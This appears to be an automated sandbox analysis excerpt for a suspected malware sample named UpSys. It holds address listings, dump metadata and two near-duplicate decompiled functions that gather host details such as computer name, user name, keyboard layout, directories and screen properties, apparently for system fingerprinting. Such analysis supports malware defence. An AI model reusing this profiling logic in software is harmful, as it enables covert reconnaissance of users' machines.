                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: 46ff25143592ce2a549467d7977114e405f202d11a332c602c80bca0f1593945
                                                                                                                                                                                                        • Instruction ID: 7050d756c7acca01c3cff8e7ea996033a5fba77e0ef1b013d36f4b8005d23c9d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 46ff25143592ce2a549467d7977114e405f202d11a332c602c80bca0f1593945
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CFC01232708690C1E7355755B055B9F2290F74D344F501115638A07D64CF38C100DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084B1E Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084B1E(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t163;
				intOrPtr _t164;
				intOrPtr _t165;
				intOrPtr _t166;
				signed long long _t169;
				signed int* _t170;
				signed int* _t171;
				void* _t227;
				intOrPtr _t237;
				int* _t259;
				void* _t261;

				_t256 = __rsi;
				_t170 = __rbx;
				 *(_t261 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t163 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t163 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t261 + 0x48)) = __r14;
				 *((long long*)(_t261 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t163 + 0x3e)) - r14b, _t261 + 0x48);
				 *_t163();
				E0000000114003DF10(_t261 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t259, __rsi);
				 *_t259 = r14d;
				E00000001140007A40(_t170, _t259, _t256);
				 *_t259 = 6;
				E00000001140007A40(_t170, _t259, _t256);
				 *_t259 = 3;
				E00000001140007A40(_t170, _t259, _t256);
				 *_t259 = 9;
				E00000001140007A40(_t170, _t259, _t256);
				 *_t259 = 5;
				E00000001140007A40(_t170, _t259, _t256);
				 *_t259 = 0xa;
				E00000001140007A40(_t170, _t259, _t256);
				 *_t259 = 2;
				E00000001140007A40(_t170, _t259, _t256);
				 *_t259 = 7;
				E00000001140007A40(_t170, _t259, _t256);
				 *_t259 = 8;
				E00000001140007A40(_t170, _t259, _t256);
				 *_t259 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t170, _t259, _t256);
				 *_t259 = 0x40;
				E00000001140007A40(_t170, _t259, _t256);
				 *_t259 = 0x41;
				E00000001140007A40(_t170, _t259, _t256);
				 *_t259 = 0x42;
				E00000001140007A40(_t170, _t259, _t256);
				 *_t259 = 0x43;
				E00000001140042150(_t170[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t164 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t164 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t227 =  ==  ? L"X86" : L"X64";
				_t165 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t165 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t165 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t165 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t165 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t165 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t165 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t156 =  *((intOrPtr*)(_t165 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t165 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t166 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t166 + 8));
				_t237 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t166, _t170, _t259, _t237 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t261 + 0x20)) = _t261 + 0xa0;
				E00000001140015DE0(_t170, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t261 + 0x20)) = _t261 + 0xa0;
				E00000001140015DE0(_t170, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t261 + 0x628) =  *(_t261 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t261 + 0xa0) & 0x0000ffff, _t156, _t261 + 0xa0, _t170, _t261 + 0xa0, _t256);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t261 + 0x3c0, L"1, 0, 0, 0"), _t261 + 0x3c0) <= 0) goto 0x40084f9c;
				_t171 = _t261 + 0x3c0;
				_t92 =  *(_t261 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t171 = 0x2e;
				goto 0x40084f7f;
				 *_t171 = _t92;
				_t170 =  &(_t171[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t261 + 0x3c0) < 0) goto 0x40084f63;
				_t169 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t261 + 0x3c0 + _t169 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t169, _t170, _t261 + 0x60, _t256, _t259, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t170, _t259, _t169);
				_t259[2] = r12d;
				 *_t259 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t256 = _t169;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t169, _t261 + 0xa0);
				 *(_t261 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L5;
				_t112 = E00000001140007A40(_t170, _t259, _t256);
				 *_t259 = r12d;
				_t259[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t170, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084b1e
                                                                                                                                                                                                        0x140084b1e
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
                                                                                                                                                                                                        0x140084e40
                                                                                                                                                                                                        0x140084e44
                                                                                                                                                                                                        0x140084e4d
                                                                                                                                                                                                        0x140084e5e
                                                                                                                                                                                                        0x140084e65
                                                                                                                                                                                                        0x140084e6d
                                                                                                                                                                                                        0x140084e7b
                                                                                                                                                                                                        0x140084e9b
                                                                                                                                                                                                        0x140084ea8
                                                                                                                                                                                                        0x140084ead
                                                                                                                                                                                                        0x140084ecd
                                                                                                                                                                                                        0x140084eda
                                                                                                                                                                                                        0x140084edf
                                                                                                                                                                                                        0x140084ef4
                                                                                                                                                                                                        0x140084efa
                                                                                                                                                                                                        0x140084f01
                                                                                                                                                                                                        0x140084f13
                                                                                                                                                                                                        0x140084f4c
                                                                                                                                                                                                        0x140084f4e
                                                                                                                                                                                                        0x140084f63
                                                                                                                                                                                                        0x140084f6c
                                                                                                                                                                                                        0x140084f75
                                                                                                                                                                                                        0x140084f77
                                                                                                                                                                                                        0x140084f7a
                                                                                                                                                                                                        0x140084f7c
                                                                                                                                                                                                        0x140084f7f
                                                                                                                                                                                                        0x140084f8b
                                                                                                                                                                                                        0x140084f9a
                                                                                                                                                                                                        0x140084f9c
                                                                                                                                                                                                        0x140084f9f
                                                                                                                                                                                                        0x140084faa
                                                                                                                                                                                                        0x140084fc0
                                                                                                                                                                                                        0x140084fc8
                                                                                                                                                                                                        0x140084fdb
                                                                                                                                                                                                        0x140084fff
                                                                                                                                                                                                        0x14008500d
                                                                                                                                                                                                        0x14008501c
                                                                                                                                                                                                        0x14008502a
                                                                                                                                                                                                        0x140085039
                                                                                                                                                                                                        0x140085045
                                                                                                                                                                                                        0x140085056
                                                                                                                                                                                                        0x140085061
                                                                                                                                                                                                        0x14008506c
                                                                                                                                                                                                        0x140085070
                                                                                                                                                                                                        0x140085073
                                                                                                                                                                                                        0x14008507e
                                                                                                                                                                                                        0x140085087
                                                                                                                                                                                                        0x14008508a
                                                                                                                                                                                                        0x1400850a6
                                                                                                                                                                                                        0x1400850ac
                                                                                                                                                                                                        0x1400850c4
                                                                                                                                                                                                        0x1400850d2
                                                                                                                                                                                                        0x1400850ec
                                                                                                                                                                                                        0x1400850f7
                                                                                                                                                                                                        0x140085102
                                                                                                                                                                                                        0x14008510b
                                                                                                                                                                                                        0x140085110
                                                                                                                                                                                                        0x140085119
                                                                                                                                                                                                        0x14008511e
                                                                                                                                                                                                        0x140085122
                                                                                                                                                                                                        0x140085126
                                                                                                                                                                                                        0x14008512c
                                                                                                                                                                                                        0x140085140
                                                                                                                                                                                                        0x140085153

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FolderPath
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1514166925-0
                                                                                                                                                                                                        • Opcode ID: 8de0dd620ec33c6bf0102cbdedfa6583befbb138eb340f87eda46a7fd645146a
                                                                                                                                                                                                        • Instruction ID: 85a605b5086b6d7807951d4801bd3bab54735b1bfb3ed6e160a58b8ee39b197f
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8de0dd620ec33c6bf0102cbdedfa6583befbb138eb340f87eda46a7fd645146a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2BC0123260869081E7355755B055B5F3290F74D344F501115778A07D64CF38C100DB09
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140084B17 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 41%
                                                                                                                                                                                                        			E00000001140084B17(void* __ecx, void* __ebp, signed int* __rbx, signed long long __rsi, void* __r9, long long __r14, void* __r15) {
				long _t83;
				signed int _t92;
				long _t94;
				int _t102;
				intOrPtr _t111;
				void* _t112;
				intOrPtr _t116;
				signed int _t122;
				long long* _t164;
				intOrPtr _t165;
				intOrPtr _t166;
				intOrPtr _t167;
				signed long long _t170;
				signed int* _t171;
				signed int* _t172;
				void* _t228;
				intOrPtr _t238;
				int* _t260;
				void* _t262;

				_t257 = __rsi;
				_t171 = __rbx;
				 *(_t262 + 0x628) = 0x104;
				GetComputerNameW(??, ??);
				GetWindowsDirectoryW();
				_t164 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t164 + 0x3e)) == r14b) goto 0x40084baf;
				 *((long long*)(_t262 + 0x48)) = __r14;
				 *((long long*)(_t262 + 0x58)) = __r14;
				E0000000114003DEE0( *((intOrPtr*)(_t164 + 0x3e)) - r14b, _t262 + 0x48);
				 *_t164();
				E0000000114003DF10(_t262 + 0x48);
				goto 0x400848cd;
				GetSystemDirectoryW(??, ??);
				E00000001140007A40(__rbx, _t260, __rsi);
				 *_t260 = r14d;
				E00000001140007A40(_t171, _t260, _t257);
				 *_t260 = 6;
				E00000001140007A40(_t171, _t260, _t257);
				 *_t260 = 3;
				E00000001140007A40(_t171, _t260, _t257);
				 *_t260 = 9;
				E00000001140007A40(_t171, _t260, _t257);
				 *_t260 = 5;
				E00000001140007A40(_t171, _t260, _t257);
				 *_t260 = 0xa;
				E00000001140007A40(_t171, _t260, _t257);
				 *_t260 = 2;
				E00000001140007A40(_t171, _t260, _t257);
				 *_t260 = 7;
				E00000001140007A40(_t171, _t260, _t257);
				 *_t260 = 8;
				E00000001140007A40(_t171, _t260, _t257);
				 *_t260 = 4;
				if ( *0x400b549a == r12b) goto 0x40085119;
				E00000001140007A40(_t171, _t260, _t257);
				 *_t260 = 0x40;
				E00000001140007A40(_t171, _t260, _t257);
				 *_t260 = 0x41;
				E00000001140007A40(_t171, _t260, _t257);
				 *_t260 = 0x42;
				E00000001140007A40(_t171, _t260, _t257);
				 *_t260 = 0x43;
				E00000001140042150(_t171[0x70], 0x400c7ef0);
				_t83 = GetCurrentDirectoryW();
				_t165 =  *0x400c88a8; // 0x3263d10
				_t122 =  *(_t165 + 0x40) & 0x0000ffff;
				if (_t122 == r14d) goto 0x40084d88;
				if (_t122 == 6) goto 0x40084d7c;
				if (_t122 != 9) goto 0x40084e52;
				goto 0x4008483d;
				goto 0x4008483a;
				E000000011400163F0(_t83);
				_t228 =  ==  ? L"X86" : L"X64";
				_t166 =  *0x400c88a8; // 0x3263d10
				if ( *((intOrPtr*)(_t166 + 0x3c)) != r12b) goto 0x40084dd8;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t166 + 0x3a)) != r12b) goto 0x40084dea;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t166 + 0x38)) != r12b) goto 0x40084dfc;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t166 + 0x36)) != r12b) goto 0x40084e0e;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t166 + 0x34)) != r12b) goto 0x40084e20;
				goto 0x4008483a;
				if ( *((intOrPtr*)(_t166 + 0x32)) != r12b) goto 0x40084e3d;
				goto 0x40084daa;
				_t157 =  *((intOrPtr*)(_t166 + 0x30)) - r12b;
				if ( *((intOrPtr*)(_t166 + 0x30)) != r12b) goto 0x40084e52;
				goto 0x4008483d;
				_t167 =  *0x400c88a8; // 0x3263d10
				_t116 =  *((intOrPtr*)(_t167 + 8));
				_t238 =  *0x400c88a8; // 0x3263d10
				E00000001140013120(_t167, _t171, _t260, _t238 + 0x10);
				r9d = 0x104;
				 *((long long*)(_t262 + 0x20)) = _t262 + 0xa0;
				E00000001140015DE0(_t171, L"InstallLanguage", __r9);
				r9d = 0x104;
				 *((long long*)(_t262 + 0x20)) = _t262 + 0xa0;
				E00000001140015DE0(_t171, L"SchemeLangID", __r9);
				r8d = 4;
				 *(_t262 + 0x628) =  *(_t262 + 0xa0) & 0x0000ffff;
				E00000001140040110( *(_t262 + 0xa0) & 0x0000ffff, _t157, _t262 + 0xa0, _t171, _t262 + 0xa0, _t257);
				GetKeyboardLayoutNameW();
				if (E00000001140016A44(E00000001140016E4C(_t262 + 0x3c0, L"1, 0, 0, 0"), _t262 + 0x3c0) <= 0) goto 0x40084f9c;
				_t172 = _t262 + 0x3c0;
				_t92 =  *(_t262 + 0x3c0) & 0x0000ffff;
				if (_t92 == 0x20) goto 0x40084f83;
				if (_t92 != 0x2c) goto 0x40084f7c;
				 *_t172 = 0x2e;
				goto 0x40084f7f;
				 *_t172 = _t92;
				_t171 =  &(_t172[0]);
				r14d = r14d + r12d;
				if (r14d - E00000001140016A44(_t92, _t262 + 0x3c0) < 0) goto 0x40084f63;
				_t170 = r14d + r12d;
				r14d = 0;
				 *((intOrPtr*)(_t262 + 0x3c0 + _t170 * 2)) = r14w;
				r8d = 0x104;
				_t94 = GetModuleFileNameW(??, ??, ??);
				E000000011400408D0(_t94, _t116, r12d, 0x2e, __ebp, _t170, _t171, _t262 + 0x60, _t257, _t260, L"SchemeLangID");
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetWindowRect(??, ??);
				GetDesktopWindow();
				GetDC(??);
				_t102 = GetDeviceCaps(??, ??);
				E00000001140007A40(_t171, _t260, _t170);
				_t260[2] = r12d;
				 *_t260 = _t102;
				ReleaseDC(??, ??);
				GetDesktopWindow();
				_t257 = _t170;
				GetDC(??);
				r8d = 0x104;
				GetEnvironmentVariableW(??, ??, ??);
				GetTempPathW();
				E00000001140015460(_t170, _t262 + 0xa0);
				 *(_t262 + 0x628) = 0x104;
				GetUserNameW(??, ??); // executed
				_t111 =  *0x400c5f48; // 0x4
				if (_t111 == 3) goto 0x40085116;
				if (_t111 != 4) goto L6;
				_t112 = E00000001140007A40(_t171, _t260, _t257);
				 *_t260 = r12d;
				_t260[2] = r12d;
				r12d = r14d;
				E00000001140002610(_t112, _t171, __r15);
				asm("inc ecx");
				return r12d;
			}






















                                                                                                                                                                                                        0x140084b17
                                                                                                                                                                                                        0x140084b17
                                                                                                                                                                                                        0x140084b42
                                                                                                                                                                                                        0x140084b4d
                                                                                                                                                                                                        0x140084b65
                                                                                                                                                                                                        0x140084b70
                                                                                                                                                                                                        0x140084b7b
                                                                                                                                                                                                        0x140084b82
                                                                                                                                                                                                        0x140084b87
                                                                                                                                                                                                        0x140084b8c
                                                                                                                                                                                                        0x140084b9e
                                                                                                                                                                                                        0x140084ba5
                                                                                                                                                                                                        0x140084baa
                                                                                                                                                                                                        0x140084bbc
                                                                                                                                                                                                        0x140084bca
                                                                                                                                                                                                        0x140084bcf
                                                                                                                                                                                                        0x140084bdb
                                                                                                                                                                                                        0x140084be0
                                                                                                                                                                                                        0x140084bef
                                                                                                                                                                                                        0x140084bf4
                                                                                                                                                                                                        0x140084c03
                                                                                                                                                                                                        0x140084c08
                                                                                                                                                                                                        0x140084c17
                                                                                                                                                                                                        0x140084c1c
                                                                                                                                                                                                        0x140084c2b
                                                                                                                                                                                                        0x140084c30
                                                                                                                                                                                                        0x140084c3f
                                                                                                                                                                                                        0x140084c44
                                                                                                                                                                                                        0x140084c53
                                                                                                                                                                                                        0x140084c58
                                                                                                                                                                                                        0x140084c67
                                                                                                                                                                                                        0x140084c6c
                                                                                                                                                                                                        0x140084c7b
                                                                                                                                                                                                        0x140084c80
                                                                                                                                                                                                        0x140084c96
                                                                                                                                                                                                        0x140084cad
                                                                                                                                                                                                        0x140084cb2
                                                                                                                                                                                                        0x140084cc1
                                                                                                                                                                                                        0x140084cc6
                                                                                                                                                                                                        0x140084cd5
                                                                                                                                                                                                        0x140084cda
                                                                                                                                                                                                        0x140084ce9
                                                                                                                                                                                                        0x140084cee
                                                                                                                                                                                                        0x140084d2b
                                                                                                                                                                                                        0x140084d44
                                                                                                                                                                                                        0x140084d4f
                                                                                                                                                                                                        0x140084d56
                                                                                                                                                                                                        0x140084d5d
                                                                                                                                                                                                        0x140084d62
                                                                                                                                                                                                        0x140084d6a
                                                                                                                                                                                                        0x140084d77
                                                                                                                                                                                                        0x140084d83
                                                                                                                                                                                                        0x140084d94
                                                                                                                                                                                                        0x140084daa
                                                                                                                                                                                                        0x140084dbf
                                                                                                                                                                                                        0x140084dca
                                                                                                                                                                                                        0x140084dd3
                                                                                                                                                                                                        0x140084ddc
                                                                                                                                                                                                        0x140084de5
                                                                                                                                                                                                        0x140084dee
                                                                                                                                                                                                        0x140084df7
                                                                                                                                                                                                        0x140084e00
                                                                                                                                                                                                        0x140084e09
                                                                                                                                                                                                        0x140084e12
                                                                                                                                                                                                        0x140084e1b
                                                                                                                                                                                                        0x140084e24
                                                                                                                                                                                                        0x140084e38
